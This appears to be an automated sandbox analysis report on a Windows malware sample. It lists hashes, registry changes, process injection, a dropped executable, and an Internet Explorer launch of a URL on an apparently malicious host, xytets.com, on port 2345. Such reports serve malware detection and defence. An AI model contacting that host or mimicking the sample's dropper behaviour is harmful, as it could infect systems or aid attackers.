Analysis
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max time kernel
197s -
max time network
216s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
03/10/2022, 06:36
Static task
static1
Behavioral task
behavioral1
Sample
718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe
Resource
win7-20220812-en
windows7-x64
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe
Resource
win10v2004-20220812-en
windows10-2004-x64
10 signatures
150 seconds
General
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Target
718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe
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Size
361KB
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MD5
6b59ddb57c3953c4964df9a815ef1584
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SHA1
42430bdc9a1a10bc22e23251236d5904f36ca522
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SHA256
718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73
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SHA512
f2afc1b1a5b15ed5f6eafe53b16a9711b4b0cf07b9cd09487451aa9f4272519e431719209f3ec8cd02b10973cc90709edb900a1b67f13ee72b067d2ee6fe0551
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SSDEEP
6144:FflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:FflfAsiVGjSGecvX
Score
8/10
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 1136 iwsokcyuhdwsnjxp.exe -
Loads dropped DLL 1 IoCs
pid Process 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{E6EE5630-4416-11ED-9584-C22E595EE768} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe -
Suspicious behavior: EnumeratesProcesses 35 IoCs
pid Process 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1136 iwsokcyuhdwsnjxp.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1136 iwsokcyuhdwsnjxp.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1136 iwsokcyuhdwsnjxp.exe 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 1136 iwsokcyuhdwsnjxp.exe 1136 iwsokcyuhdwsnjxp.exe 1136 iwsokcyuhdwsnjxp.exe 1136 iwsokcyuhdwsnjxp.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1216 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1216 iexplore.exe 1216 iexplore.exe 1984 IEXPLORE.EXE 1984 IEXPLORE.EXE 1984 IEXPLORE.EXE 1984 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1368 wrote to memory of 1136 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 27 PID 1368 wrote to memory of 1136 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 27 PID 1368 wrote to memory of 1136 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 27 PID 1368 wrote to memory of 1136 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 27 PID 1368 wrote to memory of 1216 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 28 PID 1368 wrote to memory of 1216 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 28 PID 1368 wrote to memory of 1216 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 28 PID 1368 wrote to memory of 1216 1368 718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe 28 PID 1216 wrote to memory of 1984 1216 iexplore.exe 30 PID 1216 wrote to memory of 1984 1216 iexplore.exe 30 PID 1216 wrote to memory of 1984 1216 iexplore.exe 30 PID 1216 wrote to memory of 1984 1216 iexplore.exe 30
Processes
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C:\Users\Admin\AppData\Local\Temp\718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe"C:\Users\Admin\AppData\Local\Temp\718282c84445454b472ec799b93a70e6786ef968e2893495ec0a6e4dffc1ce73.exe"1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Temp\iwsokcyuhdwsnjxp.exeC:\Temp\iwsokcyuhdwsnjxp.exe run2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1136
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C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1216 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1216 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1984
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
361KB
MD5517546ff26e2d5686b5f052ba46352a8
SHA1df64014d7e56a9d1b6ac8cb960cf0ae967747e3f
SHA256a77a4443521c837b0e0a07b4f4616dc0c3a70975b03fda066793259a03cd6fde
SHA5124b2d627a614d08a7059b75498a19179827d27e30776a4dc52265479aebcc22d6bfacf764c56a35112feb522affa515e7628df9fd4680c2ddcfa1e28bf9e2a3df
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Filesize
361KB
MD5517546ff26e2d5686b5f052ba46352a8
SHA1df64014d7e56a9d1b6ac8cb960cf0ae967747e3f
SHA256a77a4443521c837b0e0a07b4f4616dc0c3a70975b03fda066793259a03cd6fde
SHA5124b2d627a614d08a7059b75498a19179827d27e30776a4dc52265479aebcc22d6bfacf764c56a35112feb522affa515e7628df9fd4680c2ddcfa1e28bf9e2a3df